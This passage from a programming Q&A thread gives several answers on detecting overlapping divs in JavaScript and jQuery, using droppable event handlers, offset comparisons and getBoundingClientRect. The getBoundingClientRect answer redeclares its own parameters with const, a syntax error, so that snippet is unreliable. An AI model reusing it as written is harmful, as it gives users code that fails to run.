// occurred and in cae overlap occurred, restore the original positions.
originatingOffset = ui.offset;
},
drop : function (event, ui) {
// If this callback gets invoked, the overlap has occurred.
// Use this method to either generate a custom event etc.
// Here, i used it to nullify the move and resetting the dragged element's
// position back to it's original position/offset
// (which was captured in the 'activate' handler)
$(ui.draggable).animate({
top: originatingOffset.top + "px",
left: originatingOffset.left + "px"
}, 300);
}
}
The 'activate' and 'drop' handlers refer to the 'dropactivate' and 'drop' events of "droppable" plugin
Here, the key is the 'drop' callback. Whenever any of the two elements overlap and they are dropped over each other, the 'drop' will be called. This is the place to detect and take actions, may be sending out custom events or calling other actions (I here chose to revert the overlapping element's positions to the initial position when the drag started, which was captured in 'activate' callback).
That's it. No polling, no plugins, just the built-in events.
Well, there can be other optimizations/extensions done to it, this was simply the first shot out of my head that worked :)
You can also use the 'dropover' and 'dropout' events to signal and create a visual feedback to the user that two elements are overlapping, while they may be still on the move.
var CLASS_INVALID = "invalid";
// .invalid { border: 1px solid red; }
...
$.extend(CONFIG_COLLISSION_PREVENTION_DROPPABLE, {
over : function (event, ui) {
// When an element is over another, it gets detected here;
// while it may still be moved.
// the draggable element becomes 'invalid' and so apply the class here
$(ui.draggable).addClass(CLASS_INVALID);
},
out : function(event, ui) {
// the element has exited the overlapped droppable now
// So element is valid now and so remove the invalid class from it
$(ui.draggable).removeClass(CLASS_INVALID);
}
});
Hope this helps!
You can do this using getBoundingClientRect()
function isOverlapping(div1, div2){
const div1 = div1.getBoundingClientRect();
const div2 = div2.getBoundingClientRect();
return (div1.right > div2.left &&
div1.left < div2.right &&
div1.bottom > div2.top &&
div1.top < div2.bottom)
}
EDIT: I have written a blog post on my website. Here a link to it.
http://area36.nl/2014/12/creating-your-own-collision-detection-function-in-javascript/
Well I had the same problem but thanks to the answer of Oscar Godson I got a function that works. I used Jquery for easy coding and because i'm lazy ;p. I put the function in a other function that is fired every second so keep that in mind.
function collidesWith (element1, element2) {
var Element1 = {};
var Element2 = {};
Element1.top = $(element1).offset().top;
Element1.left = $(element1).offset().left;
Element1.right = Number($(element1).offset().left) + Number($(element1).width());
Element1.bottom = Number($(element1).offset().top) + Number($(element1).height());
Element2.top = $(element2).offset().top;
Element2.left = $(element2).offset().left;
Element2.right = Number($(element2).offset().left) + Number($(element2).width());
Element2.bottom = Number($(element2).offset().top) + Number($(element2).height());
if (Element1.right > Element2.left && Element1.left < Element2.right && Element1.top < Element2.bottom && Element1.bottom > Element2.top) {
// Do your stuff here
}
}
What it does is basically it gets all the values of element1 and then get all the values of element2. Then with the help of some calculations it figures out all the values. Then in the if statement it compares the square of element1 to the square of element2. If the values of element1 are between the left, right, top and bottom values of element2. If that is true the code in the bottom is executed.
I ran into this generalized issue myself, so (full disclosure) I made a plugin for it. For simple collision queries about static objects, try this:
http://sourceforge.net/projects/jquerycollision/
Which allows you to get a list of overlapping collision boxes (or none if there's no collision):
hits = $("#collider").collision(".obstacles");
Or to get a collision event during "dragging", use this:
http://sourceforge.net/apps/mediawiki/jquidragcollide/?source=navbar#collision
Which gives you a "collision" event to connect to. (Or a "protrusion" event, to see if a div escapes another div that currently contains it.)
$(draggable).bind(
"collision",
function(event,ui) {
...
}
);
If you are checking collisions during motion other than dragging, just call the original repeatedly, it's pretty quick. Note: the dragging one doesn't play nicely with resizing.
Post is old, May be it help someone...
function CheckDiv()
{
var ediv1 = document.getElementById('DIV1');
var ediv2 = document.getElementById('DIV2');
ediv1.top = $(ediv1).offset().top;
ediv1.left = $(ediv1).offset().left;
ediv1.right = Number($(ediv1).offset().left) + Number($(ediv1).width());
ediv1.bottom = Number($(ediv1).offset().top) + Number($(ediv1).height());
ediv2.top = $(ediv2).offset().top;
ediv2.left = $(ediv2).offset().left;
ediv2.right = Number($(ediv2).offset().left) + Number($(ediv2).width());
ediv2.bottom = Number($(ediv2).offset().top) + Number($(ediv2).height());
if (ediv1.right > ediv2.left && ediv1.left < ediv2.right && ediv1.top < ediv2.bottom && ediv1.bottom > ediv2.top)
{
alert("hi");
}
if (ediv1.left > ediv2.left && ediv1.top > ediv2.top && ediv1.right < ediv2.right && ediv1.bottom < ediv2.bottom)
{
alert("hello");
}
}

Categories

Resources